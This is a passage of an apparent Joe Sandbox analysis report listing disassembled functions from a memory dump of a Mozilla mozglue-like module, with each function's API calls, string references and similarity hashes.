__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C586069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C586073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C586082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C5A148E), ref: 6C586091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QRl,00000000,?), ref: 6C5860BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5860C4

Strings

QRl, xrefs: 6C585FFC, 6C586042, 6C586045, 6C5860B3

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QRl
API String ID: 3835517998-2559183829
Opcode ID: a862021ae1d6026cb3592bf72e619faa95700d12591fa10bd25059959948d73e
Instruction ID: 1e0a42fb88edade649bf68cfbd181a1b14bf20b16087fd632071acf174180f5f
Opcode Fuzzy Hash: a862021ae1d6026cb3592bf72e619faa95700d12591fa10bd25059959948d73e
Instruction Fuzzy Hash: 2221D6B1A0021C9FDB106F65EC08A9E7BF8FF45218F058468E81A97241CB75A958CFE5

Function 6C545E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C545EDB
memset.VCRUNTIME140(ewXl,000000E5,?), ref: 6C545F27
LeaveCriticalSection.KERNEL32(?), ref: 6C545FB2
memset.VCRUNTIME140(ewXl,000000E5,?), ref: 6C5461F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C547652

Strings

MOZ_CRASH(), xrefs: 6C547BA4
ewXl, xrefs: 6C545E9C, 6C545F22, 6C5461ED
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C547BCD, 6C547C1F, 6C547C34, 6C5480FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5472E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C54730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5472F8

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewXl
API String ID: 2613674957-3562651544
Opcode ID: f749d9bccffe793c7154aafa43b3dc4c4b7a66c469ef78e95f70fb9ea7a61682
Instruction ID: 25d9e5701e34e568753d5394edf33d8197f6e088b691829421b5e6374384f72f
Opcode Fuzzy Hash: f749d9bccffe793c7154aafa43b3dc4c4b7a66c469ef78e95f70fb9ea7a61682
Instruction Fuzzy Hash: BA337A716067018FD308CF29C990715BBE2FF85328F29C6ADE9698B7A5D771E841CB81

Function 6C574820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C574D0A
data, xrefs: 6C5749B4
ProfileBuffer parse error: %s, xrefs: 6C574DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C574DB8, 6C574DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C574D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C574CAF
Zl, xrefs: 6C574F88
-%llu, xrefs: 6C574825
schema, xrefs: 6C5748C1

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free
String ID: Zl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-4159692308
Opcode ID: f77a24b520671dc85470118acf3cd7fb1c7a672d3c855f269d9251225aa2b257
Instruction ID: 19ecd3e0aa96d6ca8af62615c731352ed139dfd6750ba52946bd8a7e4baa3410
Opcode Fuzzy Hash: f77a24b520671dc85470118acf3cd7fb1c7a672d3c855f269d9251225aa2b257
Instruction Fuzzy Hash: C7721E71918B858BD322CF35C85139BF7E5BFDA344F108B1DE48A6B611EB709886CB52

Function 6C54D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C55D1C5), ref: 6C54D4F2
LeaveCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C55D1C5), ref: 6C54D50B

Part of subcall function 6C52CFE0: EnterCriticalSection.KERNEL32(6C5AE784), ref: 6C52CFF6
Part of subcall function 6C52CFE0: LeaveCriticalSection.KERNEL32(6C5AE784), ref: 6C52D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C55D1C5), ref: 6C54D52E
EnterCriticalSection.KERNEL32(6C5AE7DC), ref: 6C54D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C54D6A6
LeaveCriticalSection.KERNEL32(6C5AE7DC), ref: 6C54D712
LeaveCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C55D1C5), ref: 6C54D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C54D7EA

Strings

<jemalloc>, xrefs: 6C54D827
: (malloc) Error initializing arena, xrefs: 6C54D82C

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: e02903358e9ff6afa329c5b6caef4c39644c4675c2f984f54b2aee0e65216936
Instruction ID: efb931a1c5106ef3fdf393ffc5a4c2359b56195f6eb3e50889f98824d5524a78
Opcode Fuzzy Hash: e02903358e9ff6afa329c5b6caef4c39644c4675c2f984f54b2aee0e65216936
Instruction Fuzzy Hash: 0491C371A047418FD718CF69CC9076AB7E1EB89318F15CA2EE55AC7B81DB70E845CB82

Function 6C584EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C584EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C584F2E
moz_xmalloc.MOZGLUE ref: 6C584F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C584F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5852B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5852E6
Sleep.KERNEL32(00000010), ref: 6C585481
free.MOZGLUE(?), ref: 6C585498

Strings

(, xrefs: 6C585250

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 24d840dc5b59670e27c6b130a6a146feee84dd248bbeefbf0901af327f20f04a
Instruction ID: 1ba5d64535ade1ca07a41664277bf7ae1ec26e2ab7c504e27240cf2cf49cc864
Opcode Fuzzy Hash: 24d840dc5b59670e27c6b130a6a146feee84dd248bbeefbf0901af327f20f04a
Instruction Fuzzy Hash: 55F1E271A19B508FC716CF39C85062BB7F5AFD6384F46872EF846A3651EB31D8428B81

Function 6C587030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C587046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C587060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C58707E

Part of subcall function 6C5381B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5381DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C587096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C58709C
LocalFree.KERNEL32(?), ref: 6C5870AA

Strings

### ERROR: %s: %s, xrefs: 6C587087
(null), xrefs: 6C58706A, 6C587083

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 14a8815696e71d9554baf560de5dfc54ae862630306c20880f1de2d66fcd1bec
Instruction ID: 5cd51de436940cf09384bac2241867034500f5b9e90b9f61a7d8aad5374a1000
Opcode Fuzzy Hash: 14a8815696e71d9554baf560de5dfc54ae862630306c20880f1de2d66fcd1bec
Instruction Fuzzy Hash: C701BEB1A00108AFDB046BE6EC4ADAF7BBCEF49214F060425F505E7241E67169148BE5

Function 6C549E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C549EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C549F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C549F34
LeaveCriticalSection.KERNEL32(?), ref: 6C54A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C54A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C54A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C54A8B1, 6C54A8D4, 6C54A8EF

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: f60907b2007b4c1951ebaf79e4167ffa7e44a6bc78b2555518fb8a7053960842
Instruction ID: 07bbfdf5a6eff29946b7a77e6f87cd99426cc0a0e28ab9cacd7bfd72cb776ba5
Opcode Fuzzy Hash: f60907b2007b4c1951ebaf79e4167ffa7e44a6bc78b2555518fb8a7053960842
Instruction Fuzzy Hash: CE727A72A056118FD754CF29C940615FBE1FF89328F2AC76DE8699B792D335E842CB80

Function 6C572C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C572C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C572C61

Part of subcall function 6C524DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C524E5A
Part of subcall function 6C524DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C524E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C572C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C572E2D

Part of subcall function 6C5381B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5381DE

Strings

(root), xrefs: 6C57354F
ProfileBuffer parse error: %s, xrefs: 6C572E3B
expected a Time entry, xrefs: 6C572E36

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 4533bb0128b4d783a987faa68d4bc6a3ec0713728ec456022bcdc687eed1764a
Instruction ID: 22e26fa5ddf4cd74f093f62531539732f111aaa3909f34c6a6dbe4c45e17956c
Opcode Fuzzy Hash: 4533bb0128b4d783a987faa68d4bc6a3ec0713728ec456022bcdc687eed1764a
Instruction Fuzzy Hash: 4891A070608780CFC724CF25CC9465EB7E1AFC9368F50491DE99A87751EB30D98ACB62

Function 6C589E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C589F3D
__aulldiv.LIBCMT ref: 6C589F77
__aullrem.LIBCMT ref: 6C589F8C
__aulldiv.LIBCMT ref: 6C58A023

Strings

-Infinity, xrefs: 6C589E60, 6C589E7B
NaN, xrefs: 6C589EAB

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 670a10799a130ea3432cd8c766282d98b02e24f8178891800cfe535c0749cc15
Instruction ID: 6b1a32447e1e54ec63850a2c56b0b319fe8d8f27292b58abed7955e478272995
Opcode Fuzzy Hash: 670a10799a130ea3432cd8c766282d98b02e24f8178891800cfe535c0749cc15
Instruction Fuzzy Hash: 4DC19F71E02328CBDB14CFA9CC907DEB7B6EB84314F544529D406ABB80E774AD49CB91

Function 6C52D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C52DA88
0, xrefs: 6C52DC7F
9, xrefs: 6C52DE7F
@, xrefs: 6C52DAF6
8, xrefs: 6C52DC08
1, xrefs: 6C52DBDD
0, xrefs: 6C52D852
-, xrefs: 6C52D7DD

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 08913a46cbdcc47b870ec2d6a5d80e7fac67dedd030def7faf01ce7c2596f7e5
Instruction ID: f3e683393471f655062b11e84403f351705a58bbb432653d745190db779fe150
Opcode Fuzzy Hash: 08913a46cbdcc47b870ec2d6a5d80e7fac67dedd030def7faf01ce7c2596f7e5
Instruction Fuzzy Hash: 8C62CE7160C3858FD715CF18C89076ABBF2AF86358F184A1DE8D54BAD1D37D9885CB82

Function 6C59545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C598A4B

Strings

~qRl, xrefs: 6C5956C7, 6C59921F, 6C595703, 6C595740, 6C599269, 6C599459, 6C59948F

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memset
String ID: ~qRl
API String ID: 2221118986-857610353
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: a23e1fee5e0e199010a6cebcab5487d09e0ed301db8079b83a59a718e0d97f40
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D8B1D672A0125ACFDB14CF68CC907E9B7B2EF95314F1802E9C549EB781E730A995CB91

Function 6C59542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5988F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C59925C

Strings

~qRl, xrefs: 6C5956C7, 6C59921F, 6C595703, 6C595740, 6C599269, 6C599459, 6C59948F

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memset
String ID: ~qRl
API String ID: 2221118986-857610353
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 7fb9da4cf4ee78ea596364ab2c13f649dfd29cc567cc32a3e47a2070419b8180
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 39B1C572A0024ACFCB14CF58CC816EDB7B6AF85314F1402A9C549DB785E730A999CB91

Function 6C58C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C58C0E9), ref: 6C58C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C58C437
FreeLibrary.KERNEL32(?,6C58C0E9), ref: 6C58C44C

Strings

NtQueryVirtualMemory, xrefs: 6C58C431
ntdll.dll, xrefs: 6C58C413

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 2fd2a543114d4be8a503e1a932e79dcfe87acb91ca21212274e94d6602969de9
Instruction ID: 10a2496f9d26766fd9776ea7fd720c3ad138ca33a161f673f5f5e20e26531b30
Opcode Fuzzy Hash: 2fd2a543114d4be8a503e1a932e79dcfe87acb91ca21212274e94d6602969de9
Instruction Fuzzy Hash: CFE0B6706013069BDF047FF3ED1871D7BF8A706605F024316AA04A1610EBB0D0418B98

Function 6C539F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C53AB22
@, xrefs: 6C53A625
0, xrefs: 6C53A100
9, xrefs: 6C53A5D6
1, xrefs: 6C53A824
' , xrefs: 6C53A3D8

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: b7b8b91e48814dfa86371f62175e6741699914ed836d0200029dd125f42fc42f
Instruction ID: c45ac2e6b02b4c1c12a4ac8771e359eedd889c44fded9bc2bc1a02b96e1efb7f
Opcode Fuzzy Hash: b7b8b91e48814dfa86371f62175e6741699914ed836d0200029dd125f42fc42f
Instruction Fuzzy Hash: 6082E4719093718BDF11CF89CC8426EB7E1EB85708F55AA2DE8DD47A90F3399885CB42

Function 6C52BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C52C1CB
__aulldiv.LIBCMT ref: 6C52C24C
__aulldiv.LIBCMT ref: 6C52C348
__aullrem.LIBCMT ref: 6C52C365
__aulldiv.LIBCMT ref: 6C52C37D

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: b696f588869ce9ca410cbd8686028248ba5e4ce64f1f21d667411d4ba3517f48
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: B2322732B046118FD718DE2CC891A5ABBE6AFC9310F09866DE895CB3D6D734ED05CB91

Function 6C5777A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C577A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C577A93

Part of subcall function 6C545C50: GetTickCount64.KERNEL32 ref: 6C545D40
Part of subcall function 6C545C50: EnterCriticalSection.KERNEL32(6C5AF688), ref: 6C545D67

